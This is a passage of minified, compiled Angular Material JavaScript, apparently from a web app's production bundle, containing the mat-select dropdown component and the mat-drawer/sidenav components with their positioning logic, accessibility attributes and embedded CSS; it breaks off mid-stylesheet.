m=null;m=this.multiple?this.selected.map(b=>b.value):this.selected?this.selected.value:x,this._value=m,this.valueChange.emit(m),this._onChange(m),this.selectionChange.emit(this._getChangeEvent(m)),this._changeDetectorRef.markForCheck()}_highlightCorrectOption(){this._keyManager&&(this.empty?this._keyManager.setFirstItemActive():this._keyManager.setActiveItem(this._selectionModel.selected[0]))}_canOpen(){return!this._panelOpen&&!this.disabled&&this.options?.length>0}focus(x){this._elementRef.nativeElement.focus(x)}_getPanelAriaLabelledby(){if(this.ariaLabel)return null;const x=this._parentFormField?.getLabelId();return this.ariaLabelledby?(x?x+" ":"")+this.ariaLabelledby:x}_getAriaActiveDescendant(){return this.panelOpen&&this._keyManager&&this._keyManager.activeItem?this._keyManager.activeItem.id:null}_getTriggerAriaLabelledby(){if(this.ariaLabel)return null;const x=this._parentFormField?.getLabelId();let m=(x?x+" ":"")+this._valueId;return this.ariaLabelledby&&(m+=" "+this.ariaLabelledby),m}_panelDoneAnimating(x){this.openedChange.emit(x)}setDescribedByIds(x){x.length?this._elementRef.nativeElement.setAttribute("aria-describedby",x.join(" ")):this._elementRef.nativeElement.removeAttribute("aria-describedby")}onContainerClick(){this.focus(),this.open()}get shouldLabelFloat(){return this._panelOpen||!this.empty||this._focused&&!!this._placeholder}}return Ie.\\u0275fac=function(x){return new(x||Ie)(s.Y36(f.rL),s.Y36(s.sBO),s.Y36(s.R0b),s.Y36(u.rD),s.Y36(s.SBq),s.Y36(_.Is,8),s.Y36(z.F,8),s.Y36(z.sg,8),s.Y36(c.G_,8),s.Y36(z.a5,10),s.$8M("tabindex"),s.Y36(pe),s.Y36(E.Kd),s.Y36(w,8))},Ie.\\u0275dir=s.lG2({type:Ie,viewQuery:function(x,m){if(1&x&&(s.Gf(q,5),s.Gf(we,5),s.Gf(n.pI,5)),2&x){let b;s.iGM(b=s.CRH())&&(m.trigger=b.first),s.iGM(b=s.CRH())&&(m.panel=b.first),s.iGM(b=s.CRH())&&(m._overlayDir=b.first)}},inputs:{userAriaDescribedBy:["aria-describedby","userAriaDescribedBy"],panelClass:"panelClass",placeholder:"placeholder",required:"required",multiple:"multiple",disableOptionCentering:"disableOptionCentering",compareWith:"compareWith",value:"value",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],errorStateMatcher:"errorStateMatcher",typeaheadDebounceInterval:"typeaheadDebounceInterval",sortComparator:"sortComparator",id:"id"},outputs:{openedChange:"openedChange",_openedStream:"opened",_closedStream:"closed",selectionChange:"selectionChange",valueChange:"valueChange"},features:[s.qOj,s.TTD]}),Ie})(),Dt=(()=>{class Ie extends Et{constructor(){super(...arguments),this._scrollTop=0,this._triggerFontSize=0,this._transformOrigin="top",this._offsetY=0,this._positions=[{originX:"start",originY:"top",overlayX:"start",overlayY:"top"},{originX:"start",originY:"bottom",overlayX:"start",overlayY:"bottom"}]}_calculateOverlayScroll(x,m,b){const B=this._getItemHeight();return Math.min(Math.max(0,B*x-m+B/2),b)}ngOnInit(){super.ngOnInit(),this._viewportRuler.change().pipe((0,se.R)(this._destroy)).subscribe(()=>{this.panelOpen&&(this._triggerRect=this.trigger.nativeElement.getBoundingClientRect(),this._changeDetectorRef.markForCheck())})}open(){super._canOpen()&&(super.open(),this._triggerRect=this.trigger.nativeElement.getBoundingClientRect(),this._triggerFontSize=parseInt(getComputedStyle(this.trigger.nativeElement).fontSize||"0"),this._calculateOverlayPosition(),this._ngZone.onStable.pipe((0,oe.q)(1)).subscribe(()=>{this._triggerFontSize&&this._overlayDir.overlayRef&&this._overlayDir.overlayRef.overlayElement&&(this._overlayDir.overlayRef.overlayElement.style.fontSize=`${this._triggerFontSize}px`)}))}_scrollOptionIntoView(x){const m=(0,u.CB)(x,this.options,this.optionGroups),b=this._getItemHeight();this.panel.nativeElement.scrollTop=0===x&&1===m?0:(0,u.jH)((x+m)*b,b,this.panel.nativeElement.scrollTop,256)}_positioningSettled(){this._calculateOverlayOffsetX(),this.panel.nativeElement.scrollTop=this._scrollTop}_panelDoneAnimating(x){this.panelOpen?this._scrollTop=0:(this._overlayDir.offsetX=0,this._changeDetectorRef.markForCheck()),super._panelDoneAnimating(x)}_getChangeEvent(x){return new X(this,x)}_calculateOverlayOffsetX(){const x=this._overlayDir.overlayRef.overlayElement.getBoundingClientRect(),m=this._viewportRuler.getViewportSize(),b=this._isRtl(),B=this.multiple?56:32;let ie;if(this.multiple)ie=40;else if(this.disableOptionCentering)ie=16;else{let wt=this._selectionModel.selected[0]||this.options.first;ie=wt&&wt.group?32:16}b||(ie*=-1);const Xe=0-(x.left+ie-(b?B:0)),it=x.right+ie-m.width+(b?0:B);Xe>0?ie+=Xe+8:it>0&&(ie-=it+8),this._overlayDir.offsetX=Math.round(ie),this._overlayDir.overlayRef.updatePosition()}_calculateOverlayOffsetY(x,m,b){const B=this._getItemHeight(),ie=(B-this._triggerRect.height)/2,Xe=Math.floor(256/B);let it;return this.disableOptionCentering?0:(it=0===this._scrollTop?x*B:this._scrollTop===b?(x-(this._getItemCount()-Xe))*B+(B-(this._getItemCount()*B-256)%B):m-B/2,Math.round(-1*it-ie))}_checkOverlayWithinViewport(x){const m=this._getItemHeight(),b=this._viewportRuler.getViewportSize(),B=this._triggerRect.top-8,ie=b.height-this._triggerRect.bottom-8,Xe=Math.abs(this._offsetY),wt=Math.min(this._getItemCount()*m,256)-Xe-this._triggerRect.height;wt>ie?this._adjustPanelUp(wt,ie):Xe>B?this._adjustPanelDown(Xe,B,x):this._transformOrigin=this._getOriginBasedOnOption()}_adjustPanelUp(x,m){const b=Math.round(x-m);this._scrollTop-=b,this._offsetY-=b,this._transformOrigin=this._getOriginBasedOnOption(),this._scrollTop<=0&&(this._scrollTop=0,this._offsetY=0,this._transformOrigin="50% bottom 0px")}_adjustPanelDown(x,m,b){const B=Math.round(x-m);if(this._scrollTop+=B,this._offsetY+=B,this._transformOrigin=this._getOriginBasedOnOption(),this._scrollTop>=b)return this._scrollTop=b,this._offsetY=0,void(this._transformOrigin="50% top 0px")}_calculateOverlayPosition(){const x=this._getItemHeight(),m=this._getItemCount(),b=Math.min(m*x,256),ie=m*x-b;let Xe;Xe=this.empty?0:Math.max(this.options.toArray().indexOf(this._selectionModel.selected[0]),0),Xe+=(0,u.CB)(Xe,this.options,this.optionGroups);const it=b/2;this._scrollTop=this._calculateOverlayScroll(Xe,it,ie),this._offsetY=this._calculateOverlayOffsetY(Xe,it,ie),this._checkOverlayWithinViewport(ie)}_getOriginBasedOnOption(){const x=this._getItemHeight(),m=(x-this._triggerRect.height)/2;return`50% ${Math.abs(this._offsetY)-m+x/2}px 0px`}_getItemHeight(){return 3*this._triggerFontSize}_getItemCount(){return this.options.length+this.optionGroups.length}}return Ie.\\u0275fac=function(){let te;return function(m){return(te||(te=s.n5z(Ie)))(m||Ie)}}(),Ie.\\u0275cmp=s.Xpm({type:Ie,selectors:[["mat-select"]],contentQueries:function(x,m,b){if(1&x&&(s.Suo(b,ct,5),s.Suo(b,u.ey,5),s.Suo(b,u.K7,5)),2&x){let B;s.iGM(B=s.CRH())&&(m.customTrigger=B.first),s.iGM(B=s.CRH())&&(m.options=B),s.iGM(B=s.CRH())&&(m.optionGroups=B)}},hostAttrs:["role","combobox","aria-autocomplete","none","aria-haspopup","true",1,"mat-select"],hostVars:19,hostBindings:function(x,m){1&x&&s.NdJ("keydown",function(B){return m._handleKeydown(B)})("focus",function(){return m._onFocus()})("blur",function(){return m._onBlur()}),2&x&&(s.uIk("id",m.id)("tabindex",m.tabIndex)("aria-controls",m.panelOpen?m.id+"-panel":null)("aria-expanded",m.panelOpen)("aria-label",m.ariaLabel||null)("aria-required",m.required.toString())("aria-disabled",m.disabled.toString())("aria-invalid",m.errorState)("aria-activedescendant",m._getAriaActiveDescendant()),s.ekj("mat-select-disabled",m.disabled)("mat-select-invalid",m.errorState)("mat-select-required",m.required)("mat-select-empty",m.empty)("mat-select-multiple",m.multiple))},inputs:{disabled:"disabled",disableRipple:"disableRipple",tabIndex:"tabIndex"},exportAs:["matSelect"],features:[s._Bn([{provide:c.Eo,useExisting:Ie},{provide:u.HF,useExisting:Ie}]),s.qOj],ngContentSelectors:Ye,decls:9,vars:12,consts:[["cdk-overlay-origin","",1,"mat-select-trigger",3,"click"],["origin","cdkOverlayOrigin","trigger",""],[1,"mat-select-value",3,"ngSwitch"],["class","mat-select-placeholder mat-select-min-line",4,"ngSwitchCase"],["class","mat-select-value-text",3,"ngSwitch",4,"ngSwitchCase"],[1,"mat-select-arrow-wrapper"],[1,"mat-select-arrow"],["cdk-connected-overlay","","cdkConnectedOverlayLockPosition","","cdkConnectedOverlayHasBackdrop","","cdkConnectedOverlayBackdropClass","cdk-overlay-transparent-backdrop",3,"cdkConnectedOverlayPanelClass","cdkConnectedOverlayScrollStrategy","cdkConnectedOverlayOrigin","cdkConnectedOverlayOpen","cdkConnectedOverlayPositions","cdkConnectedOverlayMinWidth","cdkConnectedOverlayOffsetY","backdropClick","attach","detach"],[1,"mat-select-placeholder","mat-select-min-line"],[1,"mat-select-value-text",3,"ngSwitch"],["class","mat-select-min-line",4,"ngSwitchDefault"],[4,"ngSwitchCase"],[1,"mat-select-min-line"],[1,"mat-select-panel-wrap"],["role","listbox","tabindex","-1",3,"ngClass","keydown"],["panel",""]],template:function(x,m){if(1&x&&(s.F$t(Qe),s.TgZ(0,"div",0,1),s.NdJ("click",function(){return m.toggle()}),s.TgZ(3,"div",2),s.YNc(4,ce,2,1,"span",3),s.YNc(5,le,3,2,"span",4),s.qZA(),s.TgZ(6,"div",5),s._UZ(7,"div",6),s.qZA()(),s.YNc(8,Oe,4,14,"ng-template",7),s.NdJ("backdropClick",function(){return m.close()})("attach",function(){return m._onAttached()})("detach",function(){return m.close()})),2&x){const b=s.MAs(1);s.uIk("aria-owns",m.panelOpen?m.id+"-panel":null),s.xp6(3),s.Q6J("ngSwitch",m.empty),s.uIk("id",m._valueId),s.xp6(1),s.Q6J("ngSwitchCase",!0),s.xp6(1),s.Q6J("ngSwitchCase",!1),s.xp6(3),s.Q6J("cdkConnectedOverlayPanelClass",m._overlayPanelClass)("cdkConnectedOverlayScrollStrategy",m._scrollStrategy)("cdkConnectedOverlayOrigin",b)("cdkConnectedOverlayOpen",m.panelOpen)("cdkConnectedOverlayPositions",m._positions)("cdkConnectedOverlayMinWidth",null==m._triggerRect?null:m._triggerRect.width)("cdkConnectedOverlayOffsetY",m._offsetY)}},dependencies:[a.mk,a.RF,a.n9,a.ED,n.pI,n.xu],styles:[\'.mat-select{display:inline-block;width:100%;outline:none}.mat-select-trigger{display:inline-flex;align-items:center;cursor:pointer;position:relative;box-sizing:border-box;width:100%}.mat-select-disabled .mat-select-trigger{-webkit-user-select:none;user-select:none;cursor:default}.mat-select-value{width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.mat-select-value-text{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-select-arrow-wrapper{height:16px;flex-shrink:0;display:inline-flex;align-items:center}.mat-form-field-appearance-fill .mat-select-arrow-wrapper{transform:translateY(-50%)}.mat-form-field-appearance-outline .mat-select-arrow-wrapper{transform:translateY(-25%)}.mat-form-field-appearance-standard.mat-form-field-has-label .mat-select:not(.mat-select-empty) .mat-select-arrow-wrapper{transform:translateY(-50%)}.mat-form-field-appearance-standard .mat-select.mat-select-empty .mat-select-arrow-wrapper{transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}._mat-animation-noopable.mat-form-field-appearance-standard .mat-select.mat-select-empty .mat-select-arrow-wrapper{transition:none}.mat-select-arrow{width:0;height:0;border-left:5px solid rgba(0,0,0,0);border-right:5px solid rgba(0,0,0,0);border-top:5px solid;margin:0 4px}.mat-form-field.mat-focused .mat-select-arrow{transform:translateX(0)}.mat-select-panel-wrap{flex-basis:100%}.mat-select-panel{min-width:112px;max-width:280px;overflow:auto;-webkit-overflow-scrolling:touch;padding-top:0;padding-bottom:0;max-height:256px;min-width:100%;border-radius:4px;outline:0}.cdk-high-contrast-active .mat-select-panel{outline:solid 1px}.mat-select-panel .mat-optgroup-label,.mat-select-panel .mat-option{font-size:inherit;line-height:3em;height:3em}.mat-form-field-type-mat-select:not(.mat-form-field-disabled) .mat-form-field-flex{cursor:pointer}.mat-form-field-type-mat-select .mat-form-field-label{width:calc(100% - 18px)}.mat-select-placeholder{transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}._mat-animation-noopable .mat-select-placeholder{transition:none}.mat-form-field-hide-placeholder .mat-select-placeholder{color:rgba(0,0,0,0);-webkit-text-fill-color:rgba(0,0,0,0);transition:none;display:block}.mat-select-min-line:empty::before{content:" ";white-space:pre;width:1px;display:inline-block;visibility:hidden}\'],encapsulation:2,data:{animation:[qe.transformPanelWrap,qe.transformPanel]},changeDetection:0}),Ie})(),Pt=(()=>{class Ie{}return Ie.\\u0275fac=function(x){return new(x||Ie)},Ie.\\u0275mod=s.oAB({type:Ie}),Ie.\\u0275inj=s.cJS({providers:[R],imports:[a.ez,n.U8,u.Ng,u.BQ,f.ZD,c.lN,u.Ng,u.BQ]}),Ie})()},3267:(At,ae,d)=>{"use strict";d.d(ae,{JX:()=>xt,Rh:()=>We,SJ:()=>pe,TM:()=>Be});var n=d(7261),a=d(6895),s=d(4650),u=d(3238),c=d(2687),f=d(445),E=d(1281),_=d(9521),S=d(3353),g=d(8929),C=d(3753),z=d(6787),H=d(2198),j=d(4850),U=d(7604),G=d(7625),Q=d(5778),oe=d(2986),Ce=d(1059),k=d(13),K=d(7340);const se=["*"],ee=["content"];function q(P,w){if(1&P){const R=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){s.CHM(R);const _e=s.oxw();return s.KtG(_e._onBackdropClicked())}),s.qZA()}if(2&P){const R=s.oxw();s.ekj("mat-drawer-shown",R._isShowingBackdrop())}}function we(P,w){1&P&&(s.TgZ(0,"mat-drawer-content"),s.Hsn(1,2),s.qZA())}const ce=[[["mat-drawer"]],[["mat-drawer-content"]],"*"],je=["mat-drawer","mat-drawer-content","*"];function Ze(P,w){if(1&P){const R=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){s.CHM(R);const _e=s.oxw();return s.KtG(_e._onBackdropClicked())}),s.qZA()}if(2&P){const R=s.oxw();s.ekj("mat-drawer-shown",R._isShowingBackdrop())}}function le(P,w){1&P&&(s.TgZ(0,"mat-sidenav-content"),s.Hsn(1,2),s.qZA())}const Oe=[[["mat-sidenav"]],[["mat-sidenav-content"]],"*"],Qe=["mat-sidenav","mat-sidenav-content","*"],qe={transformDrawer:(0,K.X$)("transform",[(0,K.SB)("open, open-instant",(0,K.oB)({transform:"none",visibility:"visible"})),(0,K.SB)("void",(0,K.oB)({"box-shadow":"none",visibility:"hidden"})),(0,K.eR)("void => open-instant",(0,K.jt)("0ms")),(0,K.eR)("void <=> open, open-instant => void",(0,K.jt)("400ms cubic-bezier(0.25, 0.8, 0.25, 1)"))])},dt=new s.OlP("MAT_DRAWER_DEFAULT_AUTOSIZE",{providedIn:"root",factory:function ze(){return!1}}),bt=new s.OlP("MAT_DRAWER_CONTAINER");let De=(()=>{class P extends n.PQ{constructor(R,X,_e,ct,Je){super(_e,ct,Je),this._changeDetectorRef=R,this._container=X}ngAfterContentInit(){this._container._contentMarginChanges.subscribe(()=>{this._changeDetectorRef.markForCheck()})}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>ve)),s.Y36(s.SBq),s.Y36(n.mF),s.Y36(s.R0b))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer-content"]],hostAttrs:[1,"mat-drawer-content"],hostVars:4,hostBindings:function(R,X){2&R&&s.Udp("margin-left",X._container._contentMargins.left,"px")("margin-right",X._container._contentMargins.right,"px")},features:[s._Bn([{provide:n.PQ,useExisting:P}]),s.qOj],ngContentSelectors:se,decls:1,vars:0,template:function(R,X){1&R&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),P})(),re=(()=>{class P{constructor(R,X,_e,ct,Je,Et,Dt,Pt){this._elementRef=R,this._focusTrapFactory=X,this._focusMonitor=_e,this._platform=ct,this._ngZone=Je,this._interactivityChecker=Et,this._doc=Dt,this._container=Pt,this._elementFocusedBeforeDrawerWasOpened=null,this._enableAnimations=!1,this._position="start",this._mode="over",this._disableClose=!1,this._opened=!1,this._animationStarted=new g.xQ,this._animationEnd=new g.xQ,this._animationState="void",this.openedChange=new s.vpe(!0),this._openedStream=this.openedChange.pipe((0,H.h)(Ie=>Ie),(0,j.U)(()=>{})),this.openedStart=this._animationStarted.pipe((0,H.h)(Ie=>Ie.fromState!==Ie.toState&&0===Ie.toState.indexOf("open")),(0,U.h)(void 0)),this._closedStream=this.openedChange.pipe((0,H.h)(Ie=>!Ie),(0,j.U)(()=>{})),this.closedStart=this._animationStarted.pipe((0,H.h)(Ie=>Ie.fromState!==Ie.toState&&"void"===Ie.toState),(0,U.h)(void 0)),this._destroyed=new g.xQ,this.onPositionChanged=new s.vpe,this._modeChanged=new g.xQ,this.openedChange.subscribe(Ie=>{Ie?(this._doc&&(this._elementFocusedBeforeDrawerWasOpened=this._doc.activeElement),this._takeFocus()):this._isFocusWithinDrawer()&&this._restoreFocus(this._openedVia||"program")}),this._ngZone.runOutsideAngular(()=>{(0,C.R)(this._elementRef.nativeElement,"keydown").pipe((0,H.h)(Ie=>Ie.keyCode===_.hY&&!this.disableClose&&!(0,_.Vb)(Ie)),(0,G.R)(this._destroyed)).subscribe(Ie=>this._ngZone.run(()=>{this.close(),Ie.stopPropagation(),Ie.preventDefault()}))}),this._animationEnd.pipe((0,Q.x)((Ie,te)=>Ie.fromState===te.fromState&&Ie.toState===te.toState)).subscribe(Ie=>{const{fromState:te,toState:x}=Ie;(0===x.indexOf("open")&&"void"===te||"void"===x&&0===te.indexOf("open"))&&this.openedChange.emit(this._opened)})}get position(){return this._position}set position(R){(R="end"===R?"end":"start")!==this._position&&(this._isAttached&&this._updatePositionInParent(R),this._position=R,this.onPositionChanged.emit())}get mode(){return this._mode}set mode(R){this._mode=R,this._updateFocusTrapState(),this._modeChanged.next()}get disableClose(){return this._disableClose}set disableClose(R){this._disableClose=(0,E.Ig)(R)}get autoFocus(){return this._autoFocus??("side"===this.mode?"dialog":"first-tabbable")}set autoFocus(R){("true"===R||"false"===R||null==R)&&(R=(0,E.Ig)(R)),this._autoFocus=R}get opened(){return this._opened}set opened(R){this.toggle((0,E.Ig)(R))}_forceFocus(R,X){this._interactivityChecker.isFocusable(R)||(R.tabIndex=-1,this._ngZone.runOutsideAngular(()=>{const _e=()=>{R.removeEventListener("blur",_e),R.removeEventListener("mousedown",_e),R.removeAttribute("tabindex")};R.addEventListener("blur",_e),R.addEventListener("mousedown",_e)})),R.focus(X)}_focusByCssSelector(R,X){let _e=this._elementRef.nativeElement.querySelector(R);_e&&this._forceFocus(_e,X)}_takeFocus(){if(!this._focusTrap)return;const R=this._elementRef.nativeElement;switch(this.autoFocus){case!1:case"dialog":return;case!0:case"first-tabbable":this._focusTrap.focusInitialElementWhenReady().then(X=>{!X&&"function"==typeof this._elementRef.nativeElement.focus&&R.focus()});break;case"first-heading":this._focusByCssSelector(\'h1, h2, h3, h4, h5, h6, [role="heading"]\');break;default:this._focusByCssSelector(this.autoFocus)}}_restoreFocus(R){"dialog"!==this.autoFocus&&(this._elementFocusedBeforeDrawerWasOpened?this._focusMonitor.focusVia(this._elementFocusedBeforeDrawerWasOpened,R):this._elementRef.nativeElement.blur(),this._elementFocusedBeforeDrawerWasOpened=null)}_isFocusWithinDrawer(){const R=this._doc.activeElement;return!!R&&this._elementRef.nativeElement.contains(R)}ngAfterViewInit(){this._isAttached=!0,this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement),this._updateFocusTrapState(),"end"===this._position&&this._updatePositionInParent("end")}ngAfterContentChecked(){this._platform.isBrowser&&(this._enableAnimations=!0)}ngOnDestroy(){this._focusTrap&&this._focusTrap.destroy(),this._anchor?.remove(),this._anchor=null,this._animationStarted.complete(),this._animationEnd.complete(),this._modeChanged.complete(),this._destroyed.next(),this._destroyed.complete()}open(R){return this.toggle(!0,R)}close(){return this.toggle(!1)}_closeViaBackdropClick(){return this._setOpen(!1,!0,"mouse")}toggle(R=!this.opened,X){R&&X&&(this._openedVia=X);const _e=this._setOpen(R,!R&&this._isFocusWithinDrawer(),this._openedVia||"program");return R||(this._openedVia=null),_e}_setOpen(R,X,_e){return this._opened=R,R?this._animationState=this._enableAnimations?"open":"open-instant":(this._animationState="void",X&&this._restoreFocus(_e)),this._updateFocusTrapState(),new Promise(ct=>{this.openedChange.pipe((0,oe.q)(1)).subscribe(Je=>ct(Je?"open":"close"))})}_getWidth(){return this._elementRef.nativeElement&&this._elementRef.nativeElement.offsetWidth||0}_updateFocusTrapState(){this._focusTrap&&(this._focusTrap.enabled=this.opened&&"side"!==this.mode)}_updatePositionInParent(R){const X=this._elementRef.nativeElement,_e=X.parentNode;"end"===R?(this._anchor||(this._anchor=this._doc.createComment("mat-drawer-anchor"),_e.insertBefore(this._anchor,X)),_e.appendChild(X)):this._anchor&&this._anchor.parentNode.insertBefore(X,this._anchor)}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.SBq),s.Y36(c.qV),s.Y36(c.tE),s.Y36(S.t4),s.Y36(s.R0b),s.Y36(c.ic),s.Y36(a.K0,8),s.Y36(bt,8))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer"]],viewQuery:function(R,X){if(1&R&&s.Gf(ee,5),2&R){let _e;s.iGM(_e=s.CRH())&&(X._content=_e.first)}},hostAttrs:["tabIndex","-1",1,"mat-drawer"],hostVars:12,hostBindings:function(R,X){1&R&&s.WFA("@transform.start",function(ct){return X._animationStarted.next(ct)})("@transform.done",function(ct){return X._animationEnd.next(ct)}),2&R&&(s.uIk("align",null),s.d8E("@transform",X._animationState),s.ekj("mat-drawer-end","end"===X.position)("mat-drawer-over","over"===X.mode)("mat-drawer-push","push"===X.mode)("mat-drawer-side","side"===X.mode)("mat-drawer-opened",X.opened))},inputs:{position:"position",mode:"mode",disableClose:"disableClose",autoFocus:"autoFocus",opened:"opened"},outputs:{openedChange:"openedChange",_openedStream:"opened",openedStart:"openedStart",_closedStream:"closed",closedStart:"closedStart",onPositionChanged:"positionChanged"},exportAs:["matDrawer"],ngContentSelectors:se,decls:3,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"],["content",""]],template:function(R,X){1&R&&(s.F$t(),s.TgZ(0,"div",0,1),s.Hsn(2),s.qZA())},dependencies:[n.PQ],encapsulation:2,data:{animation:[qe.transformDrawer]},changeDetection:0}),P})(),ve=(()=>{class P{constructor(R,X,_e,ct,Je,Et=!1,Dt){this._dir=R,this._element=X,this._ngZone=_e,this._changeDetectorRef=ct,this._animationMode=Dt,this._drawers=new s.n_E,this.backdropClick=new s.vpe,this._destroyed=new g.xQ,this._doCheckSubject=new g.xQ,this._contentMargins={left:null,right:null},this._contentMarginChanges=new g.xQ,R&&R.change.pipe((0,G.R)(this._destroyed)).subscribe(()=>{this._validateDrawers(),this.updateContentMargins()}),Je.change().pipe((0,G.R)(this._destroyed)).subscribe(()=>this.updateContentMargins()),this._autosize=Et}get start(){return this._start}get end(){return this._end}get autosize(){return this._autosize}set autosize(R){this._autosize=(0,E.Ig)(R)}get hasBackdrop(){return null==this._backdropOverride?!this._start||"side"!==this._start.mode||!this._end||"side"!==this._end.mode:this._backdropOverride}set hasBackdrop(R){this._backdropOverride=null==R?null:(0,E.Ig)(R)}get scrollable(){return this._userContent||this._content}ngAfterContentInit(){this._allDrawers.changes.pipe((0,Ce.O)(this._allDrawers),(0,G.R)(this._destroyed)).subscribe(R=>{this._drawers.reset(R.filter(X=>!X._container||X._container===this)),this._drawers.notifyOnChanges()}),this._drawers.changes.pipe((0,Ce.O)(null)).subscribe(()=>{this._validateDrawers(),this._drawers.forEach(R=>{this._watchDrawerToggle(R),this._watchDrawerPosition(R),this._watchDrawerMode(R)}),(!this._drawers.length||this._isDrawerOpen(this._start)||this._isDrawerOpen(this._end))&&this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),this._ngZone.runOutsideAngular(()=>{this._doCheckSubject.pipe((0,k.b)(10),(0,G.R)(this._destroyed)).subscribe(()=>this.updateContentMargins())})}ngOnDestroy(){this._contentMarginChanges.complete(),this._doCheckSubject.complete(),this._drawers.destroy(),this._destroyed.next(),this._destroyed.complete()}open(){this._drawers.forEach(R=>R.open())}close(){this._drawers.forEach(R=>R.close())}updateContentMargins(){let R=0,X=0;if(this._left&&this._left.opened)if("side"==this._left.mode)R+=this._left._getWidth();else if("push"==this._left.mode){const _e=this._left._getWidth();R+=_e,X-=_e}if(this._right&&this._right.opened)if("side"==this._right.mode)X+=this._right._getWidth();else if("push"==this._right.mode){const _e=this._right._getWidth();X+=_e,R-=_e}R=R||null,X=X||null,(R!==this._contentMargins.left||X!==this._contentMargins.right)&&(this._contentMargins={left:R,right:X},this._ngZone.run(()=>this._contentMarginChanges.next(this._contentMargins)))}ngDoCheck(){this._autosize&&this._isPushed()&&this._ngZone.runOutsideAngular(()=>this._doCheckSubject.next())}_watchDrawerToggle(R){R._animationStarted.pipe((0,H.h)(X=>X.fromState!==X.toState),(0,G.R)(this._drawers.changes)).subscribe(X=>{"open-instant"!==X.toState&&"NoopAnimations"!==this._animationMode&&this._element.nativeElement.classList.add("mat-drawer-transition"),this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),"side"!==R.mode&&R.openedChange.pipe((0,G.R)(this._drawers.changes)).subscribe(()=>this._setContainerClass(R.opened))}_watchDrawerPosition(R){R&&R.onPositionChanged.pipe((0,G.R)(this._drawers.changes)).subscribe(()=>{this._ngZone.onMicrotaskEmpty.pipe((0,oe.q)(1)).subscribe(()=>{this._validateDrawers()})})}_watchDrawerMode(R){R&&R._modeChanged.pipe((0,G.R)((0,z.T)(this._drawers.changes,this._destroyed))).subscribe(()=>{this.updateContentMargins(),this._changeDetectorRef.markForCheck()})}_setContainerClass(R){const X=this._element.nativeElement.classList,_e="mat-drawer-container-has-open";R?X.add(_e):X.remove(_e)}_validateDrawers(){this._start=this._end=null,this._drawers.forEach(R=>{"end"==R.position?this._end=R:this._start=R}),this._right=this._left=null,this._dir&&"rtl"===this._dir.value?(this._left=this._end,this._right=this._start):(this._left=this._start,this._right=this._end)}_isPushed(){return this._isDrawerOpen(this._start)&&"over"!=this._start.mode||this._isDrawerOpen(this._end)&&"over"!=this._end.mode}_onBackdropClicked(){this.backdropClick.emit(),this._closeModalDrawersViaBackdrop()}_closeModalDrawersViaBackdrop(){[this._start,this._end].filter(R=>R&&!R.disableClose&&this._canHaveBackdrop(R)).forEach(R=>R._closeViaBackdropClick())}_isShowingBackdrop(){return this._isDrawerOpen(this._start)&&this._canHaveBackdrop(this._start)||this._isDrawerOpen(this._end)&&this._canHaveBackdrop(this._end)}_canHaveBackdrop(R){return"side"!==R.mode||!!this._backdropOverride}_isDrawerOpen(R){return null!=R&&R.opened}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(f.Is,8),s.Y36(s.SBq),s.Y36(s.R0b),s.Y36(s.sBO),s.Y36(n.rL),s.Y36(dt),s.Y36(s.QbO,8))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer-container"]],contentQueries:function(R,X,_e){if(1&R&&(s.Suo(_e,De,5),s.Suo(_e,re,5)),2&R){let ct;s.iGM(ct=s.CRH())&&(X._content=ct.first),s.iGM(ct=s.CRH())&&(X._allDrawers=ct)}},viewQuery:function(R,X){if(1&R&&s.Gf(De,5),2&R){let _e;s.iGM(_e=s.CRH())&&(X._userContent=_e.first)}},hostAttrs:[1,"mat-drawer-container"],hostVars:2,hostBindings:function(R,X){2&R&&s.ekj("mat-drawer-container-explicit-backdrop",X._backdropOverride)},inputs:{autosize:"autosize",hasBackdrop:"hasBackdrop"},outputs:{backdropClick:"backdropClick"},exportAs:["matDrawerContainer"],features:[s._Bn([{provide:bt,useExisting:P}])],ngContentSelectors:je,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(R,X){1&R&&(s.F$t(ce),s.YNc(0,q,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,we,2,0,"mat-drawer-content",1)),2&R&&(s.Q6J("ngIf",X.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!X._content))},dependencies:[a.O5,De],styles:[\'.mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition 